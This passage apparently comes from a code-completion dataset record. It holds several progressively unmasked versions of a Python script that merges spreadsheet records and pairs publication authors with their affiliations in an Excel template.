author.split(str(num_list[0]))[0].strip(',.-; ')\n else:\n author_name = author.strip(',.-; ')\n for num in num_list:\n try:\n elem = affiliations_dict[str(num)]\n except:\n affiliations_dict[str(num)] = ''\n cprint(\n \"Exception for manual_id: {} as affiliation index {} wasn't found\"\n .format(manual_id, str(num)), 'yellow', attrs=['bold'])\n affiliation_name = '; '.join([affiliations_dict[str(num)].strip\n (',.- ') for num in num_list])\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def separated_by_semicolon(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n try:\n affiliation_name = affiliations_list[iter].strip(',.- ')\n except:\n affiliation_name = ''\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n <mask token>\n <mask token>\n\n def processData(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.process_merger(source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns)\n self.process_pairtron(sheets[1])\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass pairtron:\n\n def affiliation_cleaner(self, affiliation):\n affiliation = str(affiliation)\n affiliation = affiliation.strip(' ;').replace(' ', ' ').replace(' ',\n ' ')\n while ' ;' in affiliation:\n affiliation = affiliation.replace(' ;', ';')\n while ';;' in affiliation:\n affiliation = affiliation.replace(';;', ';')\n return affiliation\n\n def zeta0_creation(self, indexed_files_dir, merge_columns):\n \"\"\" Returns pandas dataframe which has latest record for each manual id after merging all \"sheet_name\"\n in the previously indexed_files which are present in \"indexed_files_dir\"\n \"\"\"\n indexed_files = [file for file in os.listdir(indexed_files_dir) if \n not file.startswith('~')]\n indexed_files_dict = {}\n indexed_files_dict.clear()\n dateList = []\n del dateList[:]\n for file in indexed_files:\n dated = file.split('_')[-1].split('.')[0]\n dated = dated[4:] + dated[:4]\n dateList.append(dated)\n indexed_files_dict[dated] = file\n dataframes = {}\n for dated, file in indexed_files_dict.items():\n file_name = indexed_files_dir + '\\\\' + file\n dataframes[dated] = pd.read_excel(file_name, sheet_name=0)\n dataframes[dated]['file_date'] = dated\n dataframes[dated]['mid'] = [int(elem.split('_')[-1]) for elem in\n dataframes[dated]['manual_id']]\n merged_df = pd.concat([dataframes[dated] for dated in dateList],\n ignore_index=True)\n merged_df = merged_df.sort_values('file_date', ascending=False)\n zeta0 = merged_df.drop_duplicates(subset='manual_id', keep='first')\n pd.set_option('mode.chained_assignment', None)\n for col in zeta0.columns:\n zeta0[col] = zeta0[col].astype('str')\n zeta0 = zeta0.apply(lambda x: x.str.strip() if x.dtype == 'object' else\n x)\n zeta0 = zeta0.sort_values('mid', ascending=True)\n if 'manual_id' not in merge_columns:\n merge_columns.append('manual_id')\n zeta0 = zeta0[merge_columns]\n return zeta0\n <mask token>\n\n def selectionAfterJoin(self, df, cols, common_cols):\n for col in common_cols:\n if col != 'manual_id':\n df[col] = np.where(df['{}_left'.format(col)].isnull() | df[\n '{}_right'.format(col)].notnull() & (df['{}_right'.\n format(col)] != '') & (df['{}_left'.format(col)] != df[\n '{}_right'.format(col)]), df['{}_right'.format(col)],\n df['{}_left'.format(col)])\n drop_list = ['{}_left'.format(col) for col in common_cols if col !=\n 'manual_id']\n drop_list.extend(['{}_right'.format(col) for col in common_cols if \n col != 'manual_id'])\n df.drop(drop_list, axis=1, inplace=True)\n return df[cols]\n\n def update_larvol_xlsx(self, src, acronym, sheets, columns, zeta0_df=None):\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheets[0]]\n ws.title = sheets[0].replace('ACRONYM', acronym)\n try:\n curr_df = pd.read_excel(src)\n except:\n curr_df = pd.read_csv(src)\n if zeta0_df is not None:\n curr_jn_zeta = pd.merge(curr_df, zeta0_df, left_on='manual_id',\n right_on='manual_id', how='left', suffixes=('_left', '_right'))\n common_columns = [col for col in curr_df.columns if col in\n zeta0_df.columns]\n self.source_df = self.selectionAfterJoin(curr_jn_zeta, columns,\n common_columns)\n else:\n self.source_df = curr_df\n session_list = self.source_df.fillna('').values.tolist()\n for row_iter in range(len(session_list)):\n print(row_iter)\n for col_iter in range(len(session_list[row_iter])):\n print(col_iter)\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = self.affiliation_cleaner(session_list[\n row_iter][col_iter])\n wb.save(self.dest_file)\n\n def process_merger(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.copy_larvol_xlsx(template, acronym)\n if merge.upper() == 'YES':\n zeta0 = self.zeta0_creation(indexed_files_dir, merge_columns)\n self.update_larvol_xlsx(source_file, acronym, sheets, columns,\n zeta0)\n else:\n self.update_larvol_xlsx(source_file, acronym, sheets, columns)\n\n def separated_by_number(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n affiliations_dict = {}\n prev_affiliation = None\n for affiliation in affiliations_list:\n if affiliation != '':\n group = re.findall('\\\\d+', affiliation)\n if group != []:\n num = list(map(int, group))[0]\n affiliations_dict[str(num)] = str(num).join(affiliation\n .split(str(num))[1:]).strip(',. ')\n prev_affiliation = num\n elif prev_affiliation is not None:\n num = prev_affiliation\n affiliations_dict[str(num)] = affiliations_dict[str(num)\n ] + '; ' + affiliation.strip(',. ')\n prev_affiliation = num\n for author in authors_list:\n group = re.findall('\\\\d+', author)\n num_list = list(map(int, group))\n if num_list != []:\n author_name = author.split(str(num_list[0]))[0].strip(',.-; ')\n else:\n author_name = author.strip(',.-; ')\n for num in num_list:\n try:\n elem = affiliations_dict[str(num)]\n except:\n affiliations_dict[str(num)] = ''\n cprint(\n \"Exception for manual_id: {} as affiliation index {} wasn't found\"\n .format(manual_id, str(num)), 'yellow', attrs=['bold'])\n affiliation_name = '; '.join([affiliations_dict[str(num)].strip\n (',.- ') for num in num_list])\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def separated_by_semicolon(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n try:\n affiliation_name = affiliations_list[iter].strip(',.- ')\n except:\n affiliation_name = ''\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n <mask token>\n\n def process_pairtron(self, sheet):\n source_df = self.source_df\n source_df = source_df[source_df['authors'].notnull()]\n source_id_list = source_df['source_id'].fillna('').tolist()\n manual_id_list = source_df['manual_id'].fillna('').tolist()\n authors_list = source_df['authors'].tolist()\n affiliation_list = source_df['author_affiliation'].fillna('').tolist()\n pairtron_list = []\n for iter in range(len(authors_list)):\n author_tokens = [elem.strip() for elem in authors_list[iter].\n split(';')]\n affiliation_tokens = [elem.strip() for elem in affiliation_list\n [iter].split(';')]\n try:\n if author_tokens[0][-1].isdigit() and '1' in affiliation_list[\n iter]:\n pairtron_list.extend(self.separated_by_number(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n elif len(author_tokens) == len(affiliation_tokens):\n pairtron_list.extend(self.separated_by_semicolon(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n elif author_tokens[0][-1].isdigit(\n ) and '1' not in affiliation_list[iter]:\n cprint('ALERT: manual_id: {} has missing affiliations.'\n .format(manual_id_list[iter]), 'red', attrs=['bold'])\n else:\n pairtron_list.extend(self.common_affiliation(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n except:\n pass\n df = pd.DataFrame(pairtron_list, columns=['source_id', 'manual_id',\n 'authors', 'author_affiliation'])\n df.drop_duplicates(inplace=True)\n authorsInfo_list = df.values.tolist()\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheet]\n for row_iter in range(len(authorsInfo_list)):\n for col_iter in range(len(authorsInfo_list[row_iter])):\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = authorsInfo_list[row_iter][col_iter]\n wb.save(self.dest_file)\n\n def processData(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.process_merger(source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns)\n self.process_pairtron(sheets[1])\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass pairtron:\n\n def affiliation_cleaner(self, affiliation):\n affiliation = str(affiliation)\n affiliation = affiliation.strip(' ;').replace(' ', ' ').replace(' ',\n ' ')\n while ' ;' in affiliation:\n affiliation = affiliation.replace(' ;', ';')\n while ';;' in affiliation:\n affiliation = affiliation.replace(';;', ';')\n return affiliation\n\n def zeta0_creation(self, indexed_files_dir, merge_columns):\n \"\"\" Returns pandas dataframe which has latest record for each manual id after merging all \"sheet_name\"\n in the previously indexed_files which are present in \"indexed_files_dir\"\n \"\"\"\n indexed_files = [file for file in os.listdir(indexed_files_dir) if \n not file.startswith('~')]\n indexed_files_dict = {}\n indexed_files_dict.clear()\n dateList = []\n del dateList[:]\n for file in indexed_files:\n dated = file.split('_')[-1].split('.')[0]\n dated = dated[4:] + dated[:4]\n dateList.append(dated)\n indexed_files_dict[dated] = file\n dataframes = {}\n for dated, file in indexed_files_dict.items():\n file_name = indexed_files_dir + '\\\\' + file\n dataframes[dated] = pd.read_excel(file_name, sheet_name=0)\n dataframes[dated]['file_date'] = dated\n dataframes[dated]['mid'] = [int(elem.split('_')[-1]) for elem in\n dataframes[dated]['manual_id']]\n merged_df = pd.concat([dataframes[dated] for dated in dateList],\n ignore_index=True)\n merged_df = merged_df.sort_values('file_date', ascending=False)\n zeta0 = merged_df.drop_duplicates(subset='manual_id', keep='first')\n pd.set_option('mode.chained_assignment', None)\n for col in zeta0.columns:\n zeta0[col] = zeta0[col].astype('str')\n zeta0 = zeta0.apply(lambda x: x.str.strip() if x.dtype == 'object' else\n x)\n zeta0 = zeta0.sort_values('mid', ascending=True)\n if 'manual_id' not in merge_columns:\n merge_columns.append('manual_id')\n zeta0 = zeta0[merge_columns]\n return zeta0\n\n def copy_larvol_xlsx(self, template, acronym):\n date = datetime.now().date().strftime('%m%d%Y')\n self.dest_file = os.path.basename(template).replace('ACRONYM', acronym\n ).replace('MMDDYYYY', date + '_Pairtron')\n shutil.copy2(template, self.dest_file)\n\n def selectionAfterJoin(self, df, cols, common_cols):\n for col in common_cols:\n if col != 'manual_id':\n df[col] = np.where(df['{}_left'.format(col)].isnull() | df[\n '{}_right'.format(col)].notnull() & (df['{}_right'.\n format(col)] != '') & (df['{}_left'.format(col)] != df[\n '{}_right'.format(col)]), df['{}_right'.format(col)],\n df['{}_left'.format(col)])\n drop_list = ['{}_left'.format(col) for col in common_cols if col !=\n 'manual_id']\n drop_list.extend(['{}_right'.format(col) for col in common_cols if \n col != 'manual_id'])\n df.drop(drop_list, axis=1, inplace=True)\n return df[cols]\n\n def update_larvol_xlsx(self, src, acronym, sheets, columns, zeta0_df=None):\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheets[0]]\n ws.title = sheets[0].replace('ACRONYM', acronym)\n try:\n curr_df = pd.read_excel(src)\n except:\n curr_df = pd.read_csv(src)\n if zeta0_df is not None:\n curr_jn_zeta = pd.merge(curr_df, zeta0_df, left_on='manual_id',\n right_on='manual_id', how='left', suffixes=('_left', '_right'))\n common_columns = [col for col in curr_df.columns if col in\n zeta0_df.columns]\n self.source_df = self.selectionAfterJoin(curr_jn_zeta, columns,\n common_columns)\n else:\n self.source_df = curr_df\n session_list = self.source_df.fillna('').values.tolist()\n for row_iter in range(len(session_list)):\n print(row_iter)\n for col_iter in range(len(session_list[row_iter])):\n print(col_iter)\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = self.affiliation_cleaner(session_list[\n row_iter][col_iter])\n wb.save(self.dest_file)\n\n def process_merger(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.copy_larvol_xlsx(template, acronym)\n if merge.upper() == 'YES':\n zeta0 = self.zeta0_creation(indexed_files_dir, merge_columns)\n self.update_larvol_xlsx(source_file, acronym, sheets, columns,\n zeta0)\n else:\n self.update_larvol_xlsx(source_file, acronym, sheets, columns)\n\n def separated_by_number(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n affiliations_dict = {}\n prev_affiliation = None\n for affiliation in affiliations_list:\n if affiliation != '':\n group = re.findall('\\\\d+', affiliation)\n if group != []:\n num = list(map(int, group))[0]\n affiliations_dict[str(num)] = str(num).join(affiliation\n .split(str(num))[1:]).strip(',. ')\n prev_affiliation = num\n elif prev_affiliation is not None:\n num = prev_affiliation\n affiliations_dict[str(num)] = affiliations_dict[str(num)\n ] + '; ' + affiliation.strip(',. ')\n prev_affiliation = num\n for author in authors_list:\n group = re.findall('\\\\d+', author)\n num_list = list(map(int, group))\n if num_list != []:\n author_name = author.split(str(num_list[0]))[0].strip(',.-; ')\n else:\n author_name = author.strip(',.-; ')\n for num in num_list:\n try:\n elem = affiliations_dict[str(num)]\n except:\n affiliations_dict[str(num)] = ''\n cprint(\n \"Exception for manual_id: {} as affiliation index {} wasn't found\"\n .format(manual_id, str(num)), 'yellow', attrs=['bold'])\n affiliation_name = '; '.join([affiliations_dict[str(num)].strip\n (',.- ') for num in num_list])\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def separated_by_semicolon(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n try:\n affiliation_name = affiliations_list[iter].strip(',.- ')\n except:\n affiliation_name = ''\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def common_affiliation(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n affiliation_name = affiliations_list[0].strip(',.- ')\n print(affiliation_name)\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def process_pairtron(self, sheet):\n source_df = self.source_df\n source_df = source_df[source_df['authors'].notnull()]\n source_id_list = source_df['source_id'].fillna('').tolist()\n manual_id_list = source_df['manual_id'].fillna('').tolist()\n authors_list = source_df['authors'].tolist()\n affiliation_list = source_df['author_affiliation'].fillna('').tolist()\n pairtron_list = []\n for iter in range(len(authors_list)):\n author_tokens = [elem.strip() for elem in authors_list[iter].\n split(';')]\n affiliation_tokens = [elem.strip() for elem in affiliation_list\n [iter].split(';')]\n try:\n if author_tokens[0][-1].isdigit() and '1' in affiliation_list[\n iter]:\n pairtron_list.extend(self.separated_by_number(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n elif len(author_tokens) == len(affiliation_tokens):\n pairtron_list.extend(self.separated_by_semicolon(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n elif author_tokens[0][-1].isdigit(\n ) and '1' not in affiliation_list[iter]:\n cprint('ALERT: manual_id: {} has missing affiliations.'\n .format(manual_id_list[iter]), 'red', attrs=['bold'])\n else:\n pairtron_list.extend(self.common_affiliation(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n except:\n pass\n df = pd.DataFrame(pairtron_list, columns=['source_id', 'manual_id',\n 'authors', 'author_affiliation'])\n df.drop_duplicates(inplace=True)\n authorsInfo_list = df.values.tolist()\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheet]\n for row_iter in range(len(authorsInfo_list)):\n for col_iter in range(len(authorsInfo_list[row_iter])):\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = authorsInfo_list[row_iter][col_iter]\n wb.save(self.dest_file)\n\n def processData(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.process_merger(source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns)\n self.process_pairtron(sheets[1])\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass pairtron:\n\n def affiliation_cleaner(self, affiliation):\n affiliation = str(affiliation)\n affiliation = affiliation.strip(' ;').replace(' ', ' ').replace(' ',\n ' ')\n while ' ;' in affiliation:\n affiliation = affiliation.replace(' ;', ';')\n while ';;' in affiliation:\n affiliation = affiliation.replace(';;', ';')\n return affiliation\n\n def zeta0_creation(self, indexed_files_dir, merge_columns):\n \"\"\" Returns pandas dataframe which has latest record for each manual id after merging all \"sheet_name\"\n in the previously indexed_files which are present in \"indexed_files_dir\"\n \"\"\"\n indexed_files = [file for file in os.listdir(indexed_files_dir) if \n not file.startswith('~')]\n indexed_files_dict = {}\n indexed_files_dict.clear()\n dateList = []\n del dateList[:]\n for file in indexed_files:\n dated = file.split('_')[-1].split('.')[0]\n dated = dated[4:] + dated[:4]\n dateList.append(dated)\n indexed_files_dict[dated] = file\n dataframes = {}\n for dated, file in indexed_files_dict.items():\n file_name = indexed_files_dir + '\\\\' + file\n dataframes[dated] = pd.read_excel(file_name, sheet_name=0)\n dataframes[dated]['file_date'] = dated\n dataframes[dated]['mid'] = [int(elem.split('_')[-1]) for elem in\n dataframes[dated]['manual_id']]\n merged_df = pd.concat([dataframes[dated] for dated in dateList],\n ignore_index=True)\n merged_df = merged_df.sort_values('file_date', ascending=False)\n zeta0 = merged_df.drop_duplicates(subset='manual_id', keep='first')\n pd.set_option('mode.chained_assignment', None)\n for col in zeta0.columns:\n zeta0[col] = zeta0[col].astype('str')\n zeta0 = zeta0.apply(lambda x: x.str.strip() if x.dtype == 'object' else\n x)\n zeta0 = zeta0.sort_values('mid', ascending=True)\n if 'manual_id' not in merge_columns:\n merge_columns.append('manual_id')\n zeta0 = zeta0[merge_columns]\n return zeta0\n\n def copy_larvol_xlsx(self, template, acronym):\n date = datetime.now().date().strftime('%m%d%Y')\n self.dest_file = os.path.basename(template).replace('ACRONYM', acronym\n ).replace('MMDDYYYY', date + '_Pairtron')\n shutil.copy2(template, self.dest_file)\n\n def selectionAfterJoin(self, df, cols, common_cols):\n for col in common_cols:\n if col != 'manual_id':\n df[col] = np.where(df['{}_left'.format(col)].isnull() | df[\n '{}_right'.format(col)].notnull() & (df['{}_right'.\n format(col)] != '') & (df['{}_left'.format(col)] != df[\n '{}_right'.format(col)]), df['{}_right'.format(col)],\n df['{}_left'.format(col)])\n drop_list = ['{}_left'.format(col) for col in common_cols if col !=\n 'manual_id']\n drop_list.extend(['{}_right'.format(col) for col in common_cols if \n col != 'manual_id'])\n df.drop(drop_list, axis=1, inplace=True)\n return df[cols]\n\n def update_larvol_xlsx(self, src, acronym, sheets, columns, zeta0_df=None):\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheets[0]]\n ws.title = sheets[0].replace('ACRONYM', acronym)\n try:\n curr_df = pd.read_excel(src)\n except:\n curr_df = pd.read_csv(src)\n if zeta0_df is not None:\n curr_jn_zeta = pd.merge(curr_df, zeta0_df, left_on='manual_id',\n right_on='manual_id', how='left', suffixes=('_left', '_right'))\n common_columns = [col for col in curr_df.columns if col in\n zeta0_df.columns]\n self.source_df = self.selectionAfterJoin(curr_jn_zeta, columns,\n common_columns)\n else:\n self.source_df = curr_df\n session_list = self.source_df.fillna('').values.tolist()\n for row_iter in range(len(session_list)):\n print(row_iter)\n for col_iter in range(len(session_list[row_iter])):\n print(col_iter)\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = self.affiliation_cleaner(session_list[\n row_iter][col_iter])\n wb.save(self.dest_file)\n\n def process_merger(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.copy_larvol_xlsx(template, acronym)\n if merge.upper() == 'YES':\n zeta0 = self.zeta0_creation(indexed_files_dir, merge_columns)\n self.update_larvol_xlsx(source_file, acronym, sheets, columns,\n zeta0)\n else:\n self.update_larvol_xlsx(source_file, acronym, sheets, columns)\n\n def separated_by_number(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n affiliations_dict = {}\n prev_affiliation = None\n for affiliation in affiliations_list:\n if affiliation != '':\n group = re.findall('\\\\d+', affiliation)\n if group != []:\n num = list(map(int, group))[0]\n affiliations_dict[str(num)] = str(num).join(affiliation\n .split(str(num))[1:]).strip(',. ')\n prev_affiliation = num\n elif prev_affiliation is not None:\n num = prev_affiliation\n affiliations_dict[str(num)] = affiliations_dict[str(num)\n ] + '; ' + affiliation.strip(',. ')\n prev_affiliation = num\n for author in authors_list:\n group = re.findall('\\\\d+', author)\n num_list = list(map(int, group))\n if num_list != []:\n author_name = author.split(str(num_list[0]))[0].strip(',.-; ')\n else:\n author_name = author.strip(',.-; ')\n for num in num_list:\n try:\n elem = affiliations_dict[str(num)]\n except:\n affiliations_dict[str(num)] = ''\n cprint(\n \"Exception for manual_id: {} as affiliation index {} wasn't found\"\n .format(manual_id, str(num)), 'yellow', attrs=['bold'])\n affiliation_name = '; '.join([affiliations_dict[str(num)].strip\n (',.- ') for num in num_list])\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def separated_by_semicolon(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n try:\n affiliation_name = affiliations_list[iter].strip(',.- ')\n except:\n affiliation_name = ''\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def common_affiliation(self, source_id, manual_id, authors_list,\n affiliations_list):\n separated_authors_list = []\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n affiliation_name = affiliations_list[0].strip(',.- ')\n print(affiliation_name)\n separated_authors_list.append([source_id, manual_id,\n author_name, affiliation_name])\n return separated_authors_list\n\n def process_pairtron(self, sheet):\n source_df = self.source_df\n source_df = source_df[source_df['authors'].notnull()]\n source_id_list = source_df['source_id'].fillna('').tolist()\n manual_id_list = source_df['manual_id'].fillna('').tolist()\n authors_list = source_df['authors'].tolist()\n affiliation_list = source_df['author_affiliation'].fillna('').tolist()\n pairtron_list = []\n for iter in range(len(authors_list)):\n author_tokens = [elem.strip() for elem in authors_list[iter].\n split(';')]\n affiliation_tokens = [elem.strip() for elem in affiliation_list\n [iter].split(';')]\n try:\n if author_tokens[0][-1].isdigit() and '1' in affiliation_list[\n iter]:\n pairtron_list.extend(self.separated_by_number(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n elif len(author_tokens) == len(affiliation_tokens):\n pairtron_list.extend(self.separated_by_semicolon(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n elif author_tokens[0][-1].isdigit(\n ) and '1' not in affiliation_list[iter]:\n cprint('ALERT: manual_id: {} has missing affiliations.'\n .format(manual_id_list[iter]), 'red', attrs=['bold'])\n else:\n pairtron_list.extend(self.common_affiliation(\n source_id_list[iter], manual_id_list[iter],\n author_tokens, affiliation_tokens))\n except:\n pass\n df = pd.DataFrame(pairtron_list, columns=['source_id', 'manual_id',\n 'authors', 'author_affiliation'])\n df.drop_duplicates(inplace=True)\n authorsInfo_list = df.values.tolist()\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheet]\n for row_iter in range(len(authorsInfo_list)):\n for col_iter in range(len(authorsInfo_list[row_iter])):\n ws.cell(row=row_iter + 2, column=col_iter + 1\n ).value = authorsInfo_list[row_iter][col_iter]\n wb.save(self.dest_file)\n\n def processData(self, source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns):\n self.process_merger(source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns)\n self.process_pairtron(sheets[1])\n\n\nif __name__ == '__main__':\n start = datetime.now()\n print('Script Start Time ', start)\n print('Script Running.....\\n')\n parser = ConfigParser()\n parser.read('pairtron_config.ini')\n source_file = parser.get('dynamic_fields', 'source_file')\n acronym = parser.get('dynamic_fields', 'ACRONYM')\n merge = parser.get('dynamic_fields', 'merge')\n merge_columns = [elem.strip() for elem in parser.get('dynamic_fields',\n 'merge_columns').split(',')]\n template = parser.get('static_fields', 'template')\n sheets = parser.get('static_fields', 'sheets').split(',')\n indexed_files_dir = parser.get('static_fields', 'indexed_files_dir')\n columns = parser.get('static_fields', 'columns').split(',')\n obj = pairtron()\n obj.processData(source_file, acronym, merge, template, sheets,\n indexed_files_dir, columns, merge_columns)\n total_time = datetime.now() - start\n print('\\nScript End Time ', datetime.now())\n print('Execution Time', total_time)\n", "step-5": "import re\nimport pandas as pd\nimport pandas.io.formats.excel\nfrom configparser import ConfigParser\nfrom datetime import datetime\nfrom termcolor import cprint\nimport os\nimport shutil\nfrom openpyxl import load_workbook\nimport numpy as np\n\nclass pairtron():\n\n def affiliation_cleaner(self, affiliation):\n # print(affiliation)\n affiliation = str(affiliation)\n affiliation = affiliation.strip(\" ;\").replace(\" \", \" \").replace(\" \",\" \")\n while ' ;' in affiliation:\n affiliation = affiliation.replace(\" ;\", \";\")\n while ';;' in affiliation:\n affiliation = affiliation.replace(\";;\", \";\")\n return affiliation\n\n def zeta0_creation(self, indexed_files_dir, merge_columns):\n \"\"\" Returns pandas dataframe which has latest record for each manual id after merging all \"sheet_name\"\n in the previously indexed_files which are present in \"indexed_files_dir\"\n \"\"\"\n indexed_files = [file for file in os.listdir(indexed_files_dir) if not file.startswith(\"~\")]\n\n indexed_files_dict = {}\n indexed_files_dict.clear()\n\n dateList = []\n del dateList[:]\n for file in indexed_files:\n dated = file.split('_')[-1].split('.')[0]\n dated = dated[4:] + dated[:4]\n dateList.append(dated)\n indexed_files_dict[dated] = file\n\n dataframes = {}\n\n for dated, file in indexed_files_dict.items():\n file_name = indexed_files_dir + '\\\\' + file\n dataframes[dated] = pd.read_excel(file_name, sheet_name=0)\n dataframes[dated]['file_date'] = dated\n dataframes[dated]['mid'] = [int(elem.split('_')[-1]) for elem in dataframes[dated]['manual_id']]\n\n merged_df = pd.concat([dataframes[dated] for dated in dateList], ignore_index=True)\n merged_df = merged_df.sort_values('file_date', ascending=False)\n zeta0 = merged_df.drop_duplicates(subset='manual_id', keep='first')\n pd.set_option('mode.chained_assignment', None)\n for col in zeta0.columns:\n zeta0[col] = zeta0[col].astype('str')\n zeta0 = zeta0.apply(lambda x: x.str.strip() if x.dtype == \"object\" else x)\n zeta0 = zeta0.sort_values('mid', ascending=True)\n if \"manual_id\" not in merge_columns:\n merge_columns.append(\"manual_id\")\n zeta0 = zeta0[merge_columns]\n # print(zeta0)\n return zeta0\n\n def copy_larvol_xlsx(self, template, acronym):\n date = datetime.now().date().strftime('%m%d%Y')\n self.dest_file = os.path.basename(template).replace('ACRONYM',acronym).replace('MMDDYYYY', date + '_Pairtron')\n shutil.copy2(template, self.dest_file)\n\n def selectionAfterJoin(self, df, cols, common_cols):\n for col in common_cols:\n if col != 'manual_id':\n df[col] = np.where(df['{}_left'.format(col)].isnull() | ((df['{}_right'.format(col)].notnull()) & (df['{}_right'.format(col)] != '') & (df['{}_left'.format(col)] != df['{}_right'.format(col)])), df['{}_right'.format(col)], df['{}_left'.format(col)])\n drop_list = ['{}_left'.format(col) for col in common_cols if col != 'manual_id']\n drop_list.extend(['{}_right'.format(col) for col in common_cols if col != 'manual_id'])\n df.drop(drop_list, axis=1, inplace=True)\n return df[cols]\n\n def update_larvol_xlsx(self, src, acronym, sheets, columns, zeta0_df=None):\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheets[0]]\n ws.title = sheets[0].replace('ACRONYM',acronym)\n try:\n curr_df = pd.read_excel(src)\n except:\n curr_df = pd.read_csv(src)\n if zeta0_df is not None:\n curr_jn_zeta = pd.merge(curr_df, zeta0_df, left_on='manual_id', right_on='manual_id', how='left', suffixes=('_left', '_right'))\n common_columns = [col for col in curr_df.columns if col in zeta0_df.columns]\n self.source_df = self.selectionAfterJoin(curr_jn_zeta, columns, common_columns)\n else:\n self.source_df = curr_df\n session_list = self.source_df.fillna('').values.tolist()\n for row_iter in range(len(session_list)):\n print(row_iter)\n for col_iter in range(len(session_list[row_iter])):\n print(col_iter)\n ws.cell(row=row_iter+2, column=col_iter+1).value = self.affiliation_cleaner(session_list[row_iter][col_iter])\n wb.save(self.dest_file)\n\n def process_merger(self, source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns):\n self.copy_larvol_xlsx(template, acronym)\n if merge.upper() == 'YES':\n zeta0 = self.zeta0_creation(indexed_files_dir, merge_columns)\n self.update_larvol_xlsx(source_file, acronym, sheets, columns, zeta0)\n else:\n self.update_larvol_xlsx(source_file, acronym, sheets, columns)\n\n def separated_by_number(self, source_id, manual_id, authors_list, affiliations_list):\n separated_authors_list = []\n affiliations_dict = {}\n prev_affiliation = None\n\n for affiliation in affiliations_list:\n #print(manual_id)\n #print(affiliation)\n if affiliation != '':\n group = re.findall(r'\\d+', affiliation)\n #print(group)\n if group != []:\n num = list(map(int, group))[0]\n affiliations_dict[str(num)] = str(num).join(affiliation.split(str(num))[1:]).strip(',. ')\n prev_affiliation = num\n elif prev_affiliation is not None:\n num = prev_affiliation\n affiliations_dict[str(num)] = affiliations_dict[str(num)] + '; ' + affiliation.strip(',. ')\n prev_affiliation = num\n\n for author in authors_list:\n #print(author)\n group = re.findall(r'\\d+', author)\n num_list = list(map(int, group))\n #print(num_list)\n if num_list != []:\n author_name = author.split(str(num_list[0]))[0].strip(',.-; ')\n else:\n author_name = author.strip(',.-; ')\n #print(author_name)\n for num in num_list:\n try:\n elem = affiliations_dict[str(num)]\n except:\n affiliations_dict[str(num)] = ''\n cprint(\"Exception for manual_id: {} as affiliation index {} wasn't found\".format(manual_id, str(num)), 'yellow', attrs=['bold'])\n\n affiliation_name = '; '.join([affiliations_dict[str(num)].strip(',.- ') for num in num_list])\n #print(affiliation_name)\n separated_authors_list.append([source_id, 